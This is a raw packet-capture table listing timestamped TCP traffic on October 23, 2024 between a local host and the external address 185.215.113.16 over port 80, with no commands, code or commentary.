Oct 23, 2024 15:48:24.086611032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086631060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086663008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086695910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086729050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086757898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086792946 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086806059 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086841106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086888075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086889982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086941004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086947918 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086973906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087007999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087029934 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087039948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087074995 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087090969 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087106943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087140083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087153912 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087172985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087207079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087238073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087256908 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087274075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087307930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087342024 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087362051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087410927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087416887 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087447882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087477922 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087496996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087555885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087589025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087624073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087640047 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087658882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087706089 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087708950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087742090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087780952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087829113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087861061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087877035 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087898970 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.087909937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087960005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.087991953 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088025093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088043928 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088057041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088092089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088104010 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088124037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088156939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088169098 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088190079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088238001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088248968 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088288069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088337898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088337898 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088387012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088421106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088443041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088473082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088522911 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088527918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088557005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088588953 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088603973 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088639021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088686943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088690996 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088721037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088768959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088774920 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088818073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088828087 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088851929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088885069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088912964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088912964 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088933945 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.088963985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.088996887 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089010954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089029074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089061022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089075089 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089093924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089128971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089143038 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089163065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089212894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089214087 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089263916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089298964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089328051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089349985 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089366913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089401007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089417934 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089433908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089457989 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089468956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089519978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089553118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089581966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089605093 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089631081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089664936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089683056 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089698076 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089740992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089742899 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089775085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089808941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089840889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089895010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089895964 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.089945078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.089947939 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.090001106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090104103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090137959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090166092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.090171099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090215921 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.090224028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090274096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090325117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090326071 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.090358019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090406895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090440989 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090459108 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.090473890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090523005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090524912 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.090557098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090585947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090636015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090651035 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.090687037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090737104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090742111 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.090785980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090816021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090831041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.090863943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090914011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090919018 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.090961933 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.090996027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091015100 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091028929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091073990 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091078997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091108084 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091141939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091191053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091223955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091244936 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091259003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091288090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091310024 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091351986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091386080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091437101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091470957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091479063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091480017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091521978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091556072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091588020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091622114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091629028 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091629982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091650009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091691017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091700077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091751099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091784000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091799021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091820955 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091833115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091881037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091886997 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.091929913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091959000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.091980934 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092006922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092040062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092051983 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092073917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092127085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092128992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092160940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092195034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092211962 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092227936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092261076 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092269897 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092293024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092338085 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092349052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092416048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092464924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092468023 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092513084 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092546940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092578888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092578888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092612982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092725992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092730999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092777014 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092781067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092817068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092850924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092866898 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092875004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092890978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092906952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092921019 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092922926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092937946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092946053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092957020 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092962027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092977047 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.092981100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.092997074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093014956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093019962 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093029976 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093041897 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093049049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093074083 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093094110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093110085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093125105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093138933 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093142033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093158007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093173981 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093174934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093192101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093205929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093213081 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093220949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093233109 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093238115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093252897 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093267918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093282938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093297005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093301058 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093301058 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093312979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093322992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093329906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093344927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093359947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093364000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093374968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093389988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093404055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093410015 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093419075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093427896 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093436003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093449116 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093452930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093472004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093486071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093502045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093517065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093518019 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093533993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093549967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093556881 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093565941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093578100 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093581915 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093599081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093616009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093617916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093641996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093657017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093663931 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093671083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093682051 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093688011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093710899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093724012 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093724966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093740940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093755960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093769073 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093772888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093787909 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093791008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093806982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093817949 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093821049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093837976 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093852997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093862057 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093868017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093884945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093899012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093909025 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093909025 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093914986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093934059 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093936920 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093950033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093965054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093980074 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.093981028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.093997002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094012022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094024897 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094029903 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094038963 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094053984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.094058037 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.094058037 CEST	49713	80	192.168.2.5	185.215.113.16
